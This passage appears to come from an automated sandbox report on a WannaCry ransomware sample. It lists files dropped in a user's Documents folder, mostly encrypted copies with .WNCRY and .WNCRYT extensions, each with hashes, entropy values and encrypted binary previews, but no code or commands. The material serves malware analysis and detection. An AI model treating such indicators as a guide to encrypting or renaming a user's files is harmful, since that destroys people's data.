                                                                                                                        Preview:WANACRY!......#.(.i.....@......y.x..@.E...~..k.....!`.bWqQ.a\..7...z. ..B.......1....:d.....uJ..F.!A...".Z=..Ck}..L..F..[T.q0P...!..8$-.....l....e...?.....[;F...?..-.^...U..R.sr.I...1.0..zw[yFShs<.....U.h..S(`.f..D.|.W.~.'R-H.i>,....E~$K9.J....2..t.'.3..............-...s....,..C4\..V.7.Gn..^eU.^."..3N.k.&..X..?K...R..<....b..j....A.......#k. ................1.......Y..>.O...4d@O-g..:.|...l{..hG_..\..-..v.2...Z..<.8K.N...4.>.d...E[.0c}.?.`X8(.[D\.P2c..Re....o..\..`3.1+...Q...;.\?....a}V...../.....Dp."7s...#i%{..P..%..'...78T.=n.8..}.....l..~]Z....Y#5.._`...D9b.Y....O.....:uC.2..*.6... C..?s....[..h..T..u%...g.p.(..4..^...........|d.o...M.PB...-y...i..2.yt. .1.M.x.:.}.!.Y.5.j..4.zt.+...ZM....|x,'...`..cs>^3w.s.E..R..\........E..+.4g+*.!.?.2rNR..u.....`..a$K/....U...>..3k..)...h_c...X~....j...p... ..j..u.bV.Fe~c.lM...]...'..VH.+.......Os..v.1.../.<...*....wJ....he.S......(.7.k.....S.J..7.1%..t.o...`.'..sDDlsq99Z.......9&..4.B>.@S..*.,..]I.2T.=..gX..

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\BNAGMGSPLO.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.844236846801543
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk2qAF2qc75O/BDGCggZaN8EsBqIMzWPl4CCVOsMhiDDT9FEOBrOI2OOOAi2pU:bk2qAoowAZaN8EsBt4CCVOsMs9FEOBrf
                                                                                                                        MD5:EDFC8FF28FE7F4782A6A8CBD04488810
                                                                                                                        SHA1:AC47E7D088C39717F68F2C6A337D6BDD5AAD4A4C
                                                                                                                        SHA-256:B6889C1D005AA5E8B7B7A3C9A7D021655FD25661658D1DFD522AF5DCC8150D9B
                                                                                                                        SHA-512:636CC3B7EBE7263142D09ADDCA3E2F2BA938CB986E373BC68E416533A833582C274B81D0CE02416A40DA407E43CFE6B1567548B0854368EF194FA99F02BB75FA
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......#.(.i.....@......y.x..@.E...~..k.....!`.bWqQ.a\..7...z. ..B.......1....:d.....uJ..F.!A...".Z=..Ck}..L..F..[T.q0P...!..8$-.....l....e...?.....[;F...?..-.^...U..R.sr.I...1.0..zw[yFShs<.....U.h..S(`.f..D.|.W.~.'R-H.i>,....E~$K9.J....2..t.'.3..............-...s....,..C4\..V.7.Gn..^eU.^."..3N.k.&..X..?K...R..<....b..j....A.......#k. ................1.......Y..>.O...4d@O-g..:.|...l{..hG_..\..-..v.2...Z..<.8K.N...4.>.d...E[.0c}.?.`X8(.[D\.P2c..Re....o..\..`3.1+...Q...;.\?....a}V...../.....Dp."7s...#i%{..P..%..'...78T.=n.8..}.....l..~]Z....Y#5.._`...D9b.Y....O.....:uC.2..*.6... C..?s....[..h..T..u%...g.p.(..4..^...........|d.o...M.PB...-y...i..2.yt. .1.M.x.:.}.!.Y.5.j..4.zt.+...ZM....|x,'...`..cs>^3w.s.E..R..\........E..+.4g+*.!.?.2rNR..u.....`..a$K/....U...>..3k..)...h_c...X~....j...p... ..j..u.bV.Fe~c.lM...]...'..VH.+.......Os..v.1.../.<...*....wJ....he.S......(.7.k.....S.J..7.1%..t.o...`.'..sDDlsq99Z.......9&..4.B>.@S..*.,..]I.2T.=..gX..

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\GAOBCVIQIJ.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:OpenPGP Public Key
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.7695264907263555
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:SFu5Uw1kBsv8uIjbIiz0g9H27XZtbrY9XXeEqEEklXA:gVsQePIH9QgH27XY9eEqh2Q
                                                                                                                        MD5:9FD4B9FE453773BD2F6B549A84F81B72
                                                                                                                        SHA1:579DE8875E6BDE2F6E01135756943B65A8F30133
                                                                                                                        SHA-256:7B674C97B6FF8DAAF1ECF091A3B361A938B9BC8DB4A016CB119B0B9348111E48
                                                                                                                        SHA-512:82FFFEC27D84A882BFF220194B132EC1F0F2426AEB0FA8B20239A0FACD7E331991DD14C36DE6A0165B2F33930C66B1A072339427C74C1C63245629F937780BD5
                                                                                                                        Malicious:false
                                                                                                                        Preview:....<..l.^=.O.....].;.,..`.q.7.mh....]...ng.K0.qG.].{..V..9...].#.....?IH.7.7.b..%a.7ianm~k;TW'....Od,n.9$X...j.W..P|..x......50...M.......=_.[..{...BL.<.......7.n../Z.f..A=.....S.e....#N....p.lV.I(s...y`^e......U..(.i..dq....Z.$..j..&f......!xS...<T.K....3.x-....A..5.YY<..Y....3.@...8.z..S..\E @.2......%\.VPB.G...............~..n.l...O.A@.M.t.#.JZa.m$...+.J..w.PS.&.fPu.+....5./,r.....P. ~Qh.+.PG9~/..3.9..E.I.....<..`..y..}v..w.....4...`.;....&.p....BV..]...=X81........W]....I..7..J..K..A*..,q...UP.N~..qf^...+Wyo".T.Z..I....Y..3..............v$`...2..`.~0....I.........].....[0..o...0...M.l.....\..[,pQ...}.k.kr.r$....);).....r....0..U.Y...;.`&.7....I....5'.{.|G<...d|..[.m..;..l.5...O6i.cO...s..O.2...A.:g....$..0..6...'.G7....T...z.<.x.'..n.].t...h%.`...O..Q.n..O..R..G}.....zU...r.....n....Jp*@.......(5 ...R../..8. 0. ..XA.F<#X......r......gj57.k...g1<.../u.F..L&."...........0...[+ci....J..[ ..q......A.4..ML.........j.U.kZP...?...

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\GAOBCVIQIJ.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842092307735423
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk7iKFe4r5D+AZ/SLjWiZS5C+TLiSXp1ce/jw/ffzOb7IjtveOsnp:bk2I30AZKcCiR511bIHz0YtveOsnp
                                                                                                                        MD5:6F0F1B74EAE8E8E19278945B80444294
                                                                                                                        SHA1:28C0A0A341B34B3E5A8475A7B61DA5ECCB61C35D
                                                                                                                        SHA-256:CE071B2321B86EA55F983A7727D146FBE73AE9D871F1CC67DCB311723CE5D4AE
                                                                                                                        SHA-512:DF8839C43AE0C70DEDCDF03654F8881C33E10002F46650DD52F62048CCCEF129FF824C50B70B32560432419E3D02C8AC7CB5A66F379A4992601CE1AF2E77E094
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....n.IvIw............o..k.#7.x.?M..../V.....g.`.....2p.!. .I.lDI..o...@q].-~.m.S%l=V.2.nG....O{~~.%.g..r.hP1.mi...).I.....y (......=9.L..?T....Cl.x..^....z..1..D..|4._*.a.<....\t..%........+.}+(:....z....?4.;...5..0i#....|.5........A"......B9...GC..z(............r?.Q......w.....J>BH.(p.ulI$GG....MeSW.v......o...rI.{...G.C.L1.x.T....r...y."...N$U.........xM..W...W{E../u.w.....s#.]~+..E..6si!..|!..c.d.D+.)Iht.[..2'H...i....u._.\.fK.].|y...r.E.C...l......w9{a..l..Q/.IP.j.8.....\....N.........7..{...>.yo...._...hl..]@a$f.=.0...\?.S1*...$b...0'..tz.L..R$....H*......O.Q.7..L.........+-.....IE...j)?@s..-.|SIP.lV...D-?.....?...%..Z..w.p..UC{J.I.B......z...eH........t...%G.fIP.~2Ku.$.R...I.&.K. E..B .T....h."..1......g...jD.]C_..`.W...J.?......5.l.k.........eQ.....Y....m..P..;..lu25....g..-..Y.L.)hT$C......9.I.(.i..L.....-.*S.q...q.la.!...d'..T.Y@...$...9..7..\.%.S( ...L.O........7...6..-..u}u.,.K.+....!g.P).....a...=...L..^..X...e~....,..m..=`

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\GAOBCVIQIJ.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842092307735423
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk7iKFe4r5D+AZ/SLjWiZS5C+TLiSXp1ce/jw/ffzOb7IjtveOsnp:bk2I30AZKcCiR511bIHz0YtveOsnp
                                                                                                                        MD5:6F0F1B74EAE8E8E19278945B80444294
                                                                                                                        SHA1:28C0A0A341B34B3E5A8475A7B61DA5ECCB61C35D
                                                                                                                        SHA-256:CE071B2321B86EA55F983A7727D146FBE73AE9D871F1CC67DCB311723CE5D4AE
                                                                                                                        SHA-512:DF8839C43AE0C70DEDCDF03654F8881C33E10002F46650DD52F62048CCCEF129FF824C50B70B32560432419E3D02C8AC7CB5A66F379A4992601CE1AF2E77E094
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....n.IvIw............o..k.#7.x.?M..../V.....g.`.....2p.!. .I.lDI..o...@q].-~.m.S%l=V.2.nG....O{~~.%.g..r.hP1.mi...).I.....y (......=9.L..?T....Cl.x..^....z..1..D..|4._*.a.<....\t..%........+.}+(:....z....?4.;...5..0i#....|.5........A"......B9...GC..z(............r?.Q......w.....J>BH.(p.ulI$GG....MeSW.v......o...rI.{...G.C.L1.x.T....r...y."...N$U.........xM..W...W{E../u.w.....s#.]~+..E..6si!..|!..c.d.D+.)Iht.[..2'H...i....u._.\.fK.].|y...r.E.C...l......w9{a..l..Q/.IP.j.8.....\....N.........7..{...>.yo...._...hl..]@a$f.=.0...\?.S1*...$b...0'..tz.L..R$....H*......O.Q.7..L.........+-.....IE...j)?@s..-.|SIP.lV...D-?.....?...%..Z..w.p..UC{J.I.B......z...eH........t...%G.fIP.~2Ku.$.R...I.&.K. E..B .T....h."..1......g...jD.]C_..`.W...J.?......5.l.k.........eQ.....Y....m..P..;..lu25....g..-..Y.L.)hT$C......9.I.(.i..L.....-.*S.q...q.la.!...d'..T.Y@...$...9..7..\.%.S( ...L.O........7...6..-..u}u.,.K.+....!g.P).....a...=...L..^..X...e~....,..m..=`

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\MXPXCVPDVN.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.810379575637309
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:Y1r1l3zLFjFn1LjRsGIFCuuCt3+MwqHkxZWkRh8QNF4UR7m7yAjmc0gu2E:kLzL11sGSECtObTWkRhXNuz7yAqdgu
                                                                                                                        MD5:6D43B0A30CB19981E02C7B882BE74077
                                                                                                                        SHA1:3E39574D312F764089EF92005296B104C1696FB0
                                                                                                                        SHA-256:FA6066E145102F1740317528345139FEFCE24CF12980BDB7D0A298751486318C
                                                                                                                        SHA-512:7DD65793F0CE3742611DD4852101C6E10002B3C98B181B7BAC082949ADB725692EE452347125FC3F2B22F8E93D71F9FAA2DC484FC8EAEB92194DDDD443AEC633
                                                                                                                        Malicious:false
                                                                                                                        Preview:... .d...3.bY......t...5.....JW..8..tE....5P..!P.su....!..W`.._]..].z..wq.-......xh..42.T(....l89....@%9|....o.....M.....ZK$j..].'-.....9.....n./.O..\$..[....G...j.h....(.......Ua=.iL..O.D|...Qu....y....!.x..a.d....._.,.....W.."v..x.pJ*..Ma..[.-.9...$_..Rz(.kr..`m....._..c4.3..=o. N'.....H2........=..q..N..?.... R..f'.c.......=..&.....r..)...|..s.9R.{'..f..Z.[rf4m9......RIv.U.....fw!..PXy.u..+...-...b../..W.t.3..<..6.......-/..... ....a.b.........Lb.s...0...._.1.../.J-..Z....u...CF.....%R..H[.......I3....Z.u.4......bj....Sp...>6.~..6..4L..c...... ./...9.......k.o-..L#.......".8..j.....i~...f..h.4..I.....ab_.8..aH.N.$..#.i...'.r.p.R..]`...d.{.=&.n.;U.. ....o...N.|.s..$.pY.$ ......x.@c.v......=.....,.sY...:..#Q..9....7<&:..U...f=.V..j.&\........... ~.V...]..J...K..g^57...[...I+'j:...;....B?Z)nL.h.CH.#..e.y..v..^-DY..b S../......&0..&.. ...C^...-;.:.i..\\K!..l4`.@...4o.q.m.N...k.....&..C.T.u=![..B.V.....t.E...:S:..[....9..s.(.Qm.K

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\MXPXCVPDVN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.868948729482757
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk8jVG2vsEpqL5vEiGc0Ku1vgDlVazup3oYXi3LriTkrOh4DGRu9Lnp70:bkYs75vEiQ1KlVazY7Xi7ra6a44u9LpY
                                                                                                                        MD5:35CAAF80776AED007104853ABD11F1CC
                                                                                                                        SHA1:06506855E96D32F93C7F5EF64570AE8358F3D05A
                                                                                                                        SHA-256:97D4723ECEFAF09236EE40713DC9FB420D16381C91ADD6E53CC78D2F7BE17EB2
                                                                                                                        SHA-512:2A2435E7156C0665743C486D5B2D0D75961BA2DD2010863AC4362F174484A1C11CA9F71DD72EA4CB9AE40597368498548C0F3D509D0D67E5FAA25881C07E31D5
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....r.k1....|..Y._./b..[....`...\,...v..a.T.^k..&..B..U.&T..hAr..o.Bd...u..^....V...#.'.{..cL.\.8D......FY:...-.="..C..iY.....c..qM=I..(...T.X.aU .........R...l...i..".V.ZK..F.W....F..C..^....s..X.K..4..h......0....%....W..m.Q..#.\.0.......Tz..!.............t:J.'../.....&Ei...=l{.x=-@..[...."V%yO.kh.y......'........+..../\..|. ......Y.J...]w..............^...,-...p......`.Y'..\..b.._.!.~.w.....E..C.`..`.#3.5.s.....g~..D.6h|..."d.P^*b))........U^8z...Q...e!....[...:q....|.&.r..R..._h..c.....O..t.D.v.b....../$.t4...x..`..5P.$(..",6..............gN..C...q...%#.o.5b...:......=N.f...H....Z.P.!..Q.a..TPq.S..:..#...*.;.1.i.B...W.$.._....xff.p..^..0.".5.....}S+..{.f.-..X.t3#....C..f....S'.x.U.Ejp.D....T.Q.x.)q.UQ.%.9@(.c.....>........d..a~=..$...5.]3.....)jv3[Ez?x.x.p.Ah.Y8/.....=..2.7..[..w..C|....b.Be**Kje...t..\.......X6..k..}..yG.+}.+..W..v%..$..M.....H..NX@.{....Hl.......d.f.Fl.)..\F.............Pynn....fn;..0.....K.>._z..i;_@:.\K.%.

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\MXPXCVPDVN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.868948729482757
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk8jVG2vsEpqL5vEiGc0Ku1vgDlVazup3oYXi3LriTkrOh4DGRu9Lnp70:bkYs75vEiQ1KlVazY7Xi7ra6a44u9LpY
                                                                                                                        MD5:35CAAF80776AED007104853ABD11F1CC
                                                                                                                        SHA1:06506855E96D32F93C7F5EF64570AE8358F3D05A
                                                                                                                        SHA-256:97D4723ECEFAF09236EE40713DC9FB420D16381C91ADD6E53CC78D2F7BE17EB2
                                                                                                                        SHA-512:2A2435E7156C0665743C486D5B2D0D75961BA2DD2010863AC4362F174484A1C11CA9F71DD72EA4CB9AE40597368498548C0F3D509D0D67E5FAA25881C07E31D5
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....r.k1....|..Y._./b..[....`...\,...v..a.T.^k..&..B..U.&T..hAr..o.Bd...u..^....V...#.'.{..cL.\.8D......FY:...-.="..C..iY.....c..qM=I..(...T.X.aU .........R...l...i..".V.ZK..F.W....F..C..^....s..X.K..4..h......0....%....W..m.Q..#.\.0.......Tz..!.............t:J.'../.....&Ei...=l{.x=-@..[...."V%yO.kh.y......'........+..../\..|. ......Y.J...]w..............^...,-...p......`.Y'..\..b.._.!.~.w.....E..C.`..`.#3.5.s.....g~..D.6h|..."d.P^*b))........U^8z...Q...e!....[...:q....|.&.r..R..._h..c.....O..t.D.v.b....../$.t4...x..`..5P.$(..",6..............gN..C...q...%#.o.5b...:......=N.f...H....Z.P.!..Q.a..TPq.S..:..#...*.;.1.i.B...W.$.._....xff.p..^..0.".5.....}S+..{.f.-..X.t3#....C..f....S'.x.U.Ejp.D....T.Q.x.)q.UQ.%.9@(.c.....>........d..a~=..$...5.]3.....)jv3[Ez?x.x.p.Ah.Y8/.....=..2.7..[..w..C|....b.Be**Kje...t..\.......X6..k..}..yG.+}.+..W..v%..$..M.....H..NX@.{....Hl.......d.f.Fl.)..\F.............Pynn....fn;..0.....K.>._z..i;_@:.\K.%.

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\NEBFQQYWPS.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.839075429215846
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:a33T2WbYbmA+gum6bXALmC1FFv/CkHVTG4zPgCyFURY54:azNbYiA+m67crBNzPyFuA4
                                                                                                                        MD5:10CC957C804F105895A7B43F0EFED580
                                                                                                                        SHA1:9076ED53E5D2DD6F5A918B79901B56BE06596B13
                                                                                                                        SHA-256:0F2ACCC5AF6171834017B8A90BC3F01EC9663050B1C6ECD325D5756D0A3E059E
                                                                                                                        SHA-512:960C78EF3F43EFF19A4D109B9CBB2D5EA26BD93D19DFF283C607778DE025B6132F1A66DBE243B4126DBEF3A8106BC0DC6B9BDDE33890EF93DD5CFA50BFC944D6
                                                                                                                        Malicious:false
                                                                                                                        Preview:.ax.U.!...N..b.....#......].9.RdN.......F..C......./L{{%....Jj.[....KO.p\...W...q.{..h3.H..M.....j.`......o........\.....c..M.L".Y....D.H...Hl.b....'$.e...F.X"p.7$..y...<.U.0.H......0....{...'..l..f..)2.....}....Ap..nS..E..5....T.TT..6D}....EI.O"..K.~.r..5%5..4.|g.....=....h.j..1..-P.+%....kG..\...B.....R.....d..@.#.bI.l>...w...Q.g;Q]...W-....sa .....Fz..x.A.*....n.9.J.b.(:.8..>....../=......>?.~h.w./....Y.{.l......W/..+...SE7V..g.DD.+....X..$B9..vB9.E.*.y;...z.....9(v..B.N...&L..P..{..P....)...o.=..v...N.....y........:.#.Qz.h..Q.aV...;.._...v.......4T..z9.w.....B....t.vB....X..v..4....x....j..< Z\..ML8@.,k.J.-..]g..".$..1{...7.?^...h.;+.P>|...V.iu/z)S.\.5@u#Rr/..N../=.!T.../. ..+.~r.H6"O.....D..,.0...U.$.D..9&..r.e..t....x'RvJ...P,..Se.Y..K.`{...y..t....1B..z8!.......}.G.e..$..=...e.?w.J....S.7.l.o..@.D.W7..A.Y....../.....f....t..i.....;R#..CD.?...J.._..%.F...C.0O.|f.....y....Z.....D../.A.A..U.jg..A\3..jSv..R..v@..g..hyNq.aV.aTe..B..[... ....@..h&

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\NEBFQQYWPS.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842287216582928
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkarqs6rR+gMceg3lrl0SxF1ceZYXA+NjCRSvRp2XOzwwDhEbf2C:bkaqdUcvP0GbZ8AMawDhef2C
                                                                                                                        MD5:32F9949AA51F13C171ED53C33525B2B3
                                                                                                                        SHA1:B6C923C9E34C67B25D643A656730903A0A696EC6
                                                                                                                        SHA-256:3A4AE437447D66B0774FAFD8A74BE345F3CC1286D33D897C63718A05EE5C7A4C
                                                                                                                        SHA-512:010A42F870089866030E52328AD7270A674F1B9A3315C519C7BF53E875712E979561A0A32A3709458F03FC1F9B77ED9C51A931C4E58148B1BE8A3314EEA3A4D1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........y...2.{.w~.<*....t../.... ..WO$..........7..d..0.....,.P"Q/...>{...J.?.p.=q....8.]tx|3a.<.`YsH.6.xeL.......6..R...N...M...<......_.;..~..=........7..&.0.....Z.;P...9../.E. .k.g..U..j.O.j......!.D.X.gL...X.H_A9.&1k.&..r..2.P.z.~./c.....0 c#.A.................N.......t.3..I.3....x...}.5.G...}..O....sq6...^|.3.)..;..(.......8.3.G<i~....H........`.0.g.oW.4...+0.....?..v dQ.@,.<m.&~....}..pl.E..(.z.6...E....|a..^.Y.U.E...ze..7.....I?...+FJ...#.......|..}....9...".=..1...7...y.p..G.e.}...$..jQ2\....6`.z...".......Mi...t$.~.f..3..9j.Q.j.`:1.9...M.v.....QB.Qm.G.3...6..2Yf.$...C!vO*..3..e-$.h|F.....LM..+.T.`..y/....Z.:V.i.s.....`fHE.Z.;....d<MR........_O=-..HC...Q]..v..bX....6..s&o#..|uo...C.-...u.\.?.n..?....[....:..w..[.x..m.:.oz.u'm.&..*......^{B..+&...'..OY3sU..>..yT+.K.xp.8..w4A..F...[B........"...,.]......Z......... .&8...../N..@FU...@G. ....8.>.....(...{..I.}.1....3faD.ED.....M.x.-.Q....I...T..num.b>&'..<iI}....e.Mz;.4.4...G

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\NEBFQQYWPS.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842287216582928
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkarqs6rR+gMceg3lrl0SxF1ceZYXA+NjCRSvRp2XOzwwDhEbf2C:bkaqdUcvP0GbZ8AMawDhef2C
                                                                                                                        MD5:32F9949AA51F13C171ED53C33525B2B3
                                                                                                                        SHA1:B6C923C9E34C67B25D643A656730903A0A696EC6
                                                                                                                        SHA-256:3A4AE437447D66B0774FAFD8A74BE345F3CC1286D33D897C63718A05EE5C7A4C
                                                                                                                        SHA-512:010A42F870089866030E52328AD7270A674F1B9A3315C519C7BF53E875712E979561A0A32A3709458F03FC1F9B77ED9C51A931C4E58148B1BE8A3314EEA3A4D1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........y...2.{.w~.<*....t../.... ..WO$..........7..d..0.....,.P"Q/...>{...J.?.p.=q....8.]tx|3a.<.`YsH.6.xeL.......6..R...N...M...<......_.;..~..=........7..&.0.....Z.;P...9../.E. .k.g..U..j.O.j......!.D.X.gL...X.H_A9.&1k.&..r..2.P.z.~./c.....0 c#.A.................N.......t.3..I.3....x...}.5.G...}..O....sq6...^|.3.)..;..(.......8.3.G<i~....H........`.0.g.oW.4...+0.....?..v dQ.@,.<m.&~....}..pl.E..(.z.6...E....|a..^.Y.U.E...ze..7.....I?...+FJ...#.......|..}....9...".=..1...7...y.p..G.e.}...$..jQ2\....6`.z...".......Mi...t$.~.f..3..9j.Q.j.`:1.9...M.v.....QB.Qm.G.3...6..2Yf.$...C!vO*..3..e-$.h|F.....LM..+.T.`..y/....Z.:V.i.s.....`fHE.Z.;....d<MR........_O=-..HC...Q]..v..bX....6..s&o#..|uo...C.-...u.\.?.n..?....[....:..w..[.x..m.:.oz.u'm.&..*......^{B..+&...'..OY3sU..>..yT+.K.xp.8..w4A..F...[B........"...,.]......Z......... .&8...../N..@FU...@G. ....8.>.....(...{..I.}.1....3faD.ED.....M.x.-.Q....I...T..num.b>&'..<iI}....e.Mz;.4.4...G

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\PWCCAWLGRE.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.798660155196801
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:24+IXm78gVb1sj6XaOk4enPykFGHjlTf5+DwOUMl3of:2eJ8Zsj6XRDsZFOjlTf583of
                                                                                                                        MD5:9517E7E28269BEE9FF15414A634220D3
                                                                                                                        SHA1:1DE099B353D9788225A64ED37F2D559FE5976040
                                                                                                                        SHA-256:3A49B07919523B9F67BF37DE80538164B0201A95597585CD8F95451D6EE3C843
                                                                                                                        SHA-512:94CFB0FA6972E4C1E36EDAACBAA4686964E5ED5F3C9403FE67990AD4192823DF1FA20A8B37636D4EC382A0B16FFCC63503D94E3EE754D29E0B8924E26085C0DB
                                                                                                                        Malicious:false
                                                                                                                        Preview:.E.P......CD.......*m#...`.B.........L...S}C.u&......+uQxd..toxA."#.4q.F.....}2..IF.8b_....H..v=.r.J.+.`".q.....w..J..4._2.}.}.|D....e4......i....5I..=I.MJ...%U..m>...R..N;....k..>.^..J..~..F..q..l.#.....(.CN`O<...%.....f(zICN4}m...&^w....V..m...T_..4...z.T...g....&#.......}....m. O..[...../...*\4....Ud.5`.........mC.,..E"ip.h.c.C5...q...CZ+....Dl~.=X.C....2.5.d.....;.w.. .`.'....+.....4.t.T&.N...z..Y..ho....%..L....z..[Y[....^..X.....<..,..,DPb...5'R..K.T.mA.j. ..)W......\.........Q.1d."M..}....B.....B.U.....;U..(h.J.oy.jqPn....~6=..c...8..;.C....c9b..<."[......i......J.1c.47....g.8.8..{.tj..".........'>.X.#..Q..!..5.8.`.}.o.^k..\..T.-.&.n...*. ..G.N....)...K-&...<......h8.R..Y.6...(q..ij.4Q.Z..G=.H.t....HwWCq2..*.ZA,.QZ....D......../...B..b\|..o?....zg...2p.2.Sj.cR..cs..<...(.^...B.....U.i.q.#....":8.o....).?..tZq\C..o.t.K.1.J...."..%Z..@.....TH%....T=.<.U/...{.y.-..#f.".r)........A.8Q.K....x9.4..,..T.....6.b....{.&...B.....]S...Qv

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\PWCCAWLGRE.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.834826655088378
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkwOcdxp/X/DTPoImJ2DgRuzPdg83kkcrB0dnQpF1oWZyM8ffDXLhfRrB5sFJ/Ap:bkDchDroImIDg+lg8UzrShQH154M8fL5
                                                                                                                        MD5:BE3B6C8A7BB9DEC37BCE93E64A288086
                                                                                                                        SHA1:91C39D060384BAF513000C4D864249BAD1110B23
                                                                                                                        SHA-256:0ED8D35EC3826C99D8C9633AB6F7570595A32C957C2A604EA55BE775628A31A9
                                                                                                                        SHA-512:B347DD31392706F503607B160227B1BEAD64ED7956EEDAE61DECDB6F0132D8502E49CA5E8AF0B45C4871E291C6D9F64D72F387F25F968D8E941C118A77852CE1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....c.8#B.gg...(c..`.k..g.W..a=.."mH.C.K&..O.N.-TV.....D..%,..p..x+.E*.w>..m..S..v..\S..ce.....t.Bt..#r.....f...|...V..>7...@.....P*J.U\.M".#.=.Mw...x..H...{.O.1...y....H..]h.]..u1..............Z2..:........R....J5...a..q......L.#..x.)...@^x.Y...............4...5N...=Rd:.c...{<;^|..r...}..&.{..QZz...l...k.=X.+...`..pPn.+4.....@;.c.E......V..l.[.....3H5 [..(...c...g..@.........+i.......f.u...|..)..x../.....4.......A,..../....A....Gg.H......}...P2....m...,..F.....8X......o...e...t.......T..4..*........`n..}]....#Q...........#..&....7<.b`.....\.e.Qx.B........c.;-.m._O...Y.....P..Df=K..C.\.n...!J.V.......M.%y|q...CK.....................n.>1.A.x.S...y7......v.`(.J..e..N..?....(...c|..[...72zW........(h.~I.X8.....qO.t.^.XS.\H....'.ff.i.q....~.......s....P....v..X-.}S.x..[).".....oW...b...5D.x`.$r..{c......2_.n..*9..|Ol..+g?.QP.!P.tlJ...h..r...)MC..P.J.q....r.v.'mg]....".......+..l...D...-y3I..I.P..8..2.b.?e.S{;.k.....2m.EU.~.......@t.)

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\PWCCAWLGRE.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.834826655088378
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkwOcdxp/X/DTPoImJ2DgRuzPdg83kkcrB0dnQpF1oWZyM8ffDXLhfRrB5sFJ/Ap:bkDchDroImIDg+lg8UzrShQH154M8fL5
